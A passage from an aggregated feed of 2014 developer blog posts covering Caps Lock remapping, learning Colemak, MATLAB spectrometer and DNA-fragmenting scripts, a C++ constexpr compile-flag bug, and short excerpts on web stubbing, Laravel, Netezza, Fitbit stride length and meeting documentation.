Use the mouse while deleting . This is a big one. Without this modification, if you want to click>delete, click>delete you need one hand on the mouse, and the other reaches across the keyboard. It’s annoying. It’s even worse on a laptop, where you have to move your right hand from mouse pad to delete and back, every time.

So, how do you make the switch? I will give Mac users instructions. PC users, you are more or less on your own.

Download and install Seil. Run it.
Under “Caps Lock” check the “Change Caps Lock” option. Set the new behavior to “Delete”.
Open up your System Preferences. Navigate to Keyboard Settings.
On the “Keyboard” tab, open “Modifier Keys”. Under “Caps Lock Key” choose “No Action”. If you don’t do this, your new Delete key won’t repeat. It would just delete one character per keystroke.

OK. Now your caps lock key deletes. This was the easy part. Now you have to train your brain to use it. The only way I was successful was by remapping another key. I changed the normal delete key to “Left Shift” This way, I could not use it any more. I HAD to use the caps lock key if I wanted to delete anything.

Let me warn you - this is is frustrating for the first few days. You’ll think hard about using caps lock, you’ll be successful, but as soon as you start thinking about something else, you’ll start using the normal delete key.

So - Set this up. Give it a shot. I’m thrilled that I did, and I use both delete keys interchangeably. I also YELL LESS ON THE INTERNET!

Next, I’ll cover what I’ve learned about typing while learning Colemak!

Learn to Type - Again

Josh Thompson — Wed, 16 Jul 2014 03:00:00 GMT

Yesterday, we talked about why the Caps Lock key should be converted into a delete key.

What I’ve learned from learning Colemak

Short, focused practice yields great results. When I start a timer for twenty minutes, I feel a sense of urgency, rather than defeat. Time boxing practice seems to be fantastic.
I get mentally drained very quickly. It’s difficult to fight my muscle memory so much. It’s frustrating to be constantly hitting the wrong key. I find myself fading and becoming apathetic sometimes in less than twenty minutes. My accuracy and speed go down dramatically when I’m tired.
Immediate feedback is crucial. All the programs I’ve used give immediate visual and audible feedback when I hit the wrong key. This means I don’t have to watch what I’m typing, and am able to focus just on what I want to type.
I need to focus far less on speed, and far more on accuracy. When I’m “lazy”, I type “quickly” (30-40 wpm) but have an accuracy rate of only 90%. That would be great if it were a test, but that means I’m making an error every ten characters. When I slow down, and get closer to 20 wpm, my accuracy goes up, and I’ll start hitting 98%. One error every ten characters is very different from one error every 48 characters.

The Process

Started with KeyZen, to learn the finger positions. I struggled (and still do) to get R and S straightened out. I keep hitting the wrong one. I finished the KeyZen stage after about 45 minutes of practice, or two sessions. (I just went through the whole lower-case alphabet.

Next, I went on to TypeFu. I started with words for one session, and went to proverbs the next. I was feeling like I was not making much progress, since I kept making the same mistakes, over and over, and was typing slowly.

So I went to Amphetype, to focus on the most common words in the English language. This was my first lesson:

the of and the of and the of and the of the of and the of and the of and the of the of and the of and the of and the of

Pretty basic, but quite effective. I stayed on each lesson until I could type it with 98% accuracy, and above 20 words per minute. This has been, by far, the most effective way of learning Colemak. I’ve stayed with Amphetype for the last four sessions, and am not planning on stopping for a while. The process to populate the lessons took a bit of researching, because it’s a now-defunct side project of a Python programer.

The interface is ugly, but it works.

As a side note, I think the above process would work splendidly for anyone that is hunting-and-pecking. You already know where the keys are, you just need to train yourself to stop looking at the keyboard. Also, you wouldn’t have to be un-training yourself from using the wrong keys.

Does anyone here hunt and peck, or know anyone who does who wants to learn to type? I bet that with a total of two hours of practice, spread out in small chunks over a few days, anyone can be typing above 60 wpm without looking at the keyboard.

Anyone who already touch types and wants to get better - the above method should work! The difference between typing 50-60 words per minute (or less) and typing mostly at the speed at which you can think is astounding. Typing at around 20 words per minute is frustrating.

As you can probably guess, I’ve typed this in QWERTY. But I’m off to practice Colemak!

Travis Truett: Co-founder & CEO of Ambition

Sam Solomon — Wed, 16 Jul 2014 03:00:00 GMT

Travis Truett is the founder of Ambition, a sales productivity platform based around teams.

Ruby on Rails and PostgreSQL - Intro to Advanced

Brightball Articles — Wed, 16 Jul 2014 00:55:00 GMT

Beginning August 18th I will be offering a three week evening class aimed at professional programmers who want to learn Ruby on Rails and PostgreSQL, with the goal of becoming proficient with both in a very short time.

DIY Spectrometer

Erico Notes — Wed, 16 Jul 2014 00:49:48 GMT

Some time ago I had some time, a spare webcam, Matlab and some Legos lying around, so I began building a Spectrometer from it. Now, to the hardware, you just need a dark box, with no light infusing in it, and a piece of dvd to use as diffraction grid. This website will help to answer most questions: http://publiclaboratory.org/tool/spectrometer

At the time, their software didn't ran on my computer so I started prototyping my own in matlab. The code is below:

% Copyright 2014 Érico Porto

% Licensed under the Apache License, Version 2.0 (the "License");
% you may not use this file except in compliance with the License.
% You may obtain a copy of the License at

%     http://www.apache.org/licenses/LICENSE-2.0

% Unless required by applicable law or agreed to in writing, software
% distributed under the License is distributed on an "AS IS" BASIS,
% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
% See the License for the specific language governing permissions and
% limitations under the License.

vid = videoinput('winvideo', 1, 'YUY2_640x480');
preview(vid);
pause(4);
color_spectrum = ycbcr2rgb(getsnapshot(vid));

%correct the orientation
binImg = im2bw(color_spectrum,0.24);
I = bwlabel(binImg);
a= regionprops(I,'MajorAxisLength','Area','Orientation');
[areaMaxArea, indexMaxArea]= max([a(:).Area]);
angle = a(indexMaxArea).Orientation;
color_spectrum = imrotate(color_spectrum,-angle,'bilinear','crop');
%now I want to get the main rectangle
binImg = im2bw(color_spectrum,0.08);
I = bwlabel(binImg);
a= regionprops(I,'BoundingBox','Area');
[areaMaxArea, iMA]= max([a(:).Area]);
subImage = imcrop(color_spectrum,round(a(iMA).BoundingBox));

%here I'm guessing the light wavelength!
%I think I need to use 380nm and 750nm as my bounding
XAxis=zeros(size(subImage,2),1);
XAxis(1)=380.0;
XAxis(length(XAxis))=750.0;

%find blue - 472nm
[intensity, blueI] = max(mean(subImage(:,:,3)));
XAxis(blueI)=472.0;

%find green - 532nm
[intensity, greenI] = max(mean(subImage(:,:,2)));
XAxis(greenI)=532.0;

%find red - 685nm
[intensity, redI] = max(mean(subImage(:,:,1)));
XAxis(redI)=685.0;

%Now I will run and fill the zeros...
beginI=1; endI=blueI; 
for i = (beginI+1):(endI-1)
    XAxis(i)= XAxis(beginI) + ((XAxis(endI)-XAxis(beginI))/(endI-beginI)) * (i-beginI);
end
beginI=blueI; endI=greenI; 
for i = (beginI+1):(endI-1)
    XAxis(i)= XAxis(beginI) + ((XAxis(endI)-XAxis(beginI))/(endI-beginI)) * (i-beginI);
end
beginI=greenI; endI=redI;
for i = (beginI+1):(endI-1)
    XAxis(i)= XAxis(beginI) + ((XAxis(endI)-XAxis(beginI))/(endI-beginI)) * (i-beginI);
end
beginI=redI; endI=length(XAxis); 
for i = (beginI+1):(endI-1)
    XAxis(i)= XAxis(beginI) + ((XAxis(endI)-XAxis(beginI))/(endI-beginI)) * (i-beginI);
end
%this ends, the wavelength vector is ready for use!

figure(2);
colormap(gray(256));
gray_spectrum=((double(subImage(:,:,1))+double(subImage(:,:,2))+double(subImage(:,:,3)))/3.0);
image(gray_spectrum);
figure(3);
colormap(gray(256));
Grayimg_reversed=flipud(gray_spectrum);
graph=mean( Grayimg_reversed ,1);

%Finally I can plot a nice graph with meaningfull axis
plot(XAxis,graph);
pause(3);
delete(vid);

For improvement, I would suggest being able to save the resulting vector with easy to some sort of table, to later use this big table to guess what I have in front of it - using Hungarian or other solver method.

Break DNA in pieces using Matlab

Erico Notes — Wed, 16 Jul 2014 00:48:04 GMT

Ok, the idea here is to try to unite the bits later.

% Copyright 2014 Érico Porto

% Licensed under the Apache License, Version 2.0 (the "License");
% you may not use this file except in compliance with the License.
% You may obtain a copy of the License at

% http://www.apache.org/licenses/LICENSE-2.0

% Unless required by applicable law or agreed to in writing, software
% distributed under the License is distributed on an "AS IS" BASIS,
% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
% See the License for the specific language governing permissions and
% limitations under the License.

npont = 10000;
sizeofpiece = 300;
dnastr = textread('acetobacterpasteurianus.txt', '%s', 'delimiter', '\n','bufsize', 4000005);
rdnastr = cat(2,dnastr{:}) ;
tamanhoRd = length(rdnastr);
stringsd = randi(tamanhoRd,npont,1);

rstringsd=cell(npont,1);
rstringsd(:) = {''};

for i=1:npont
maxed = min(stringsd(i)+sizeofpiece,tamanhoRd);
rstringsd{i} = rdnastr(stringsd(i):maxed);
end

disp('Monte Carlo successfully applied to the DNA');
disp(sprintf('%d strings of %d chars created',npont,sizeofpiece));

constexpr and floating point rounding behaviour

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Tue, 15 Jul 2014 22:01:15 GMT

One of the new features in C++11 is the ability to declare variables (or even functions) to be a constant expression that can be evaluated at compile time. Not only does this make the code easier to read, it also offers increased performance while still being very maintainable.

I was thus very surprised to find out that, according to one of our group members, constexpr stopped working—the code had apparently compiled on a personal machine but it would not compile in our production environment at university. We used the following test program to trace down the culprit:

#include <cmath>

int main(int, char**)
{
  constexpr double a = 2.0;
  constexpr double b = std::sqrt(a);

  return 0;
}

And indeed, using our CMake build environment, gcc would prove unwilling to compile the code, responding with a very terse error message:

constexpr.cc: In function ‘int main(int, char**)’:
constexpr.cc:6:35: error: ‘sqrt(2.0e+0)’ is not a constant expression
   constexpr double b = std::sqrt(a);

After the initial bafflement about this seemingly incorrect compiler error message, I happened to take a closer look at the compiler flags of our build environment. The culprit then turned out to be -frounding-math. This flag instructs the compiler that floating point rounding behaviour might change at runtime, so naturally, an expression such as std::sqrt(2.0) is not a constant expression any more. Thus, I learned that:

$ g++ -std=c++11 constexpr.cc
$ ./a.out # Yay
$ g++ -std=c++11 -frounding-math constexpr.cc
constexpr.cc: In function ‘int main(int, char**)’:
constexpr.cc:6:35: error: ‘sqrt(2.0e+0)’ is not a constant expression
   constexpr double b = std::sqrt(a);

Having lost a sizeable chunk of my daily sanity on this bug, I was of course interested in tracing done its cause. The culprit turned out to be CGAL. For reasons that are not completely clear to my addled mind, the CGAL module for CMake decides to set the CXX_COMPILE_FLAGS globally, regardless of whether a file actually uses CGAL or not. The personal computer where the code was tested first did not have a working installation of CGAL, so of course the code compiled correctly.

Lessons learned: Check the compile flags and be wary around CMake modules (though I have to point out that it is the implementation of the module that caused the problems, not CMake per se; quite the opposite—I am a very fond user of CMake).

First Crack 1.0

Zac Szewczyk — Tue, 15 Jul 2014 19:32:37 GMT

Since starting this website nearly two years ago, I have written specifically about the engine that runs it exactly four times: in Introducing First Crack, I detailed my long journey to the realization that I needed to build something completely my own, from the ground up; later, I talked about some of my creation’s niceties in First Crack in Practice, before outlining the changes an innocuous redesign brought about in First Crack’s Complete Overhaul. Finally, some eleven months later, I returned to once again briefly run down my latest updates in Changes to First Crack. Since then, however, for the last six months, I have not said a peep. Today, that changes with the release of First Crack 1.0 to the public.

Permalink.

Stubbing Web Services with Sinatra: Standing up a quick server for your client application

Joshua Rogers — Tue, 15 Jul 2014 15:00:00 GMT

Introduction The concept of dependencies seems rather straight forward. If “Thing A” depends on “Thing B”, then we can understand that we can't possibly use “Thing A” until we have “Thing B”. It's not even a development principle really, it's more of an “even small kids realize this” kind of principle. It's sort of a universal given, unless you happen to be Gallifreyan. Taking that a step further, if you want me to make an application for you using some web services you've published, it might be prudent to give me access to those services, right?

Custom validators in Laravel

Liza Shulyayeva — Tue, 15 Jul 2014 13:16:45 GMT

I’m still going with the Laravel port. One thing I’ve found really interesting is custom validators. In Laravel models you can set field rules, such as…

Disrupting Disruption Theory

Zac Szewczyk — Tue, 15 Jul 2014 09:59:18 GMT

Very interesting take on the recent flare up around Disruption Theory, and how Lepore was not necessarily wrong to criticize Christenson and his theory, but that she did point to the wrong permutation of it: it is not necessarily the base theory that is flawed, but rather the watered-down version we find in use so often today. John Kirk then proceeded to delve further into the theory in a great follow up to Ben Thompson’s recent piece, Critiquing Disruption Theory.

Permalink.

Thoughts on Netezza

Craig Pardey — Tue, 15 Jul 2014 03:00:00 GMT

I’ve been using Netezza for a few months now and this post captures my opinions based on my limited experience. For context, I’m populating a Netezza database for a client. The database schema is managed by the client, and Netezza was selected prior to my involvement. Netezza is their data warehouse, but they’re also using it a little like an application database. They’re using a bi-temporal model, but that’s a subject for another post.

Determine your Fitbit stride length using a GPS watch

Tafkas Blog — Tue, 15 Jul 2014 03:00:00 GMT

I have been carrying my Fitbit One for a little over two years with me and it keeps tracking my daily steps. It also tracks my distance covered by multiplying those steps using the stride length which you can either provide explicitly or implicitly setting your heights. In the winter of 2012 I bought my first ~Garmin Forerunner 410~ (replaced by a Garmin Forerunner 920XT) GPS watch to help me track my running (and other outdoor) activities.

Scaling Organizations - Scribing

CRAIG KERSTIENS — Mon, 14 Jul 2014 23:55:56 GMT

In the process of growing a company there’s several hurdles based on the size of the company. What worked at 5 doesn’t work at 20, what works at 20 doesn’t work at 50, and what worked at 50 doesn’t work at 150. There’s a lot of talk about two pizza teams and scaling development teams out there. One thing I haven’t seen quite enough of is details around scribing and documenting things.

Planning

At teams of 2 and 3 you get everyone in a room. Perhaps 1 person says what you’re going to do and you all rally around it, or maybe it’s a day of debate and persuasion from all sides.

In the end though you all leave, get heads down, but all know what goal you’re working towards. At a larger company planning doesn’t scale quite this way. I’ve seen roadmapping and planning done a variety of ways as companies scale, but most times the thing they miss for far too long is documenting what comes out of it. Many may produce some level of artifact, but a cohesive wrap-up is often missed. Such an artifact should be easily digestible within a couple minutes, but also deep enough to answer many of the initial questions raised by the high level pieces.

Meetings

Meetings are a smaller level item than broader planning, and tend to go without thorough note taking than higher level planning. With growth you’ll have more meetings, trust me you will. The more meetings you have the more likely you may miss one or two you’re interested in. Or perhaps its as simple as some team members being out. Summer is especially hard around this. For a team of 10 it’s not uncommon that you may go all summer with at least 1 person not in the meeting and often two.

Keeping those that miss the meeting well informed of what happened at it is critical as you scale. This is slightly less important at an extremely large company, though still valuable, but critical as you scale to larger. As you’re scaling things are changing faster, and context can more easily get lost.

So how do you improve this?

Some practical tips:

Have a set of running notes with someone consistently scribing is a great standard to set. If you missed a meeting you know where to go for it.
Recording who was and was not at the meeting can be incredibly valuable. I’ve heard statements “I said X at Y meeting”, the only problem with that statement is I wasn’t at Y meeting.
Not only recording the meeting notes, but explicitly calling out who’s not there can help to know if that information should be explicitly passed along vs. just missed.
Within your long running document have a summary to wrap it up. While scribing is great it can lead to not seeing the forest for the trees at times.

And a few from others:

Meetings need a purpose and an agenda. If I don’t know why I’m having a meeting, or what will be covered, I won’t go. If I’m organizing a meeting and can’t spare the time to produce an agenda and goal, I shouldn’t waste other people’s time with the meeting – @jacobian
Any meeting over about 15-20 isn’t a meeting, it’s a presentation (which is OK too but make it clear that it’s a download, not a discussion). – @jacobian

Email

If you aren’t aware I’m a big fan of email. Email is almost guaranteed that someone will at least open it (at least if its to them or a clear enough list). If you have something you want someone to read – email it. You can have a canonical wiki, or Trello board, or a variety of tools, but email will get more eyeballs than any of these. At the same time don’t email things that are already documented elsewhere.

Emails are great for highlighting the things people absolutely need to know about. Short and concise emails will also help to improve reach. Be careful to make these emails have a high ratio of information size to value. If you have a lot of extra follow on content send them somewhere else to read.

Finally don’t overuse email. If you’re sending the same thing every week people will become numb to this. Monitoring if your emails are being opened/responded to can help to know if you’re over-broadcasting.

Making great Octopus PowerShell step templates

Daniel Little Dev — Mon, 14 Jul 2014 10:52:44 GMT

Step templates, introduced in Octopus Deploy 2.4, are a great way to share and reuse useful PowerShell scripts. Anyone can make a step…

Critiquing Disruption Theory

Zac Szewczyk — Mon, 14 Jul 2014 10:28:36 GMT

I linked to this piece by Ben Thompson in the title only because it is his most recent on the topic of disruption theory; I strongly encourage you to start with his earlier piece from last year titled “What Clayton Christenson Got Wrong”, where he more fully explains the theory and further expands upon some of its flaws. Especially if you — like me until now — only know of Disruption Theory in the abstract as explained in passing here and there, these two articles from Ben are a fantastic place to start.

Permalink.

Powershell typeof

Daniel Little Dev — Mon, 14 Jul 2014 10:00:16 GMT

Coming from C#, it provides the built in function that you can use to get the of a class. Powershell also makes it easy to get Type…

Java bookmarks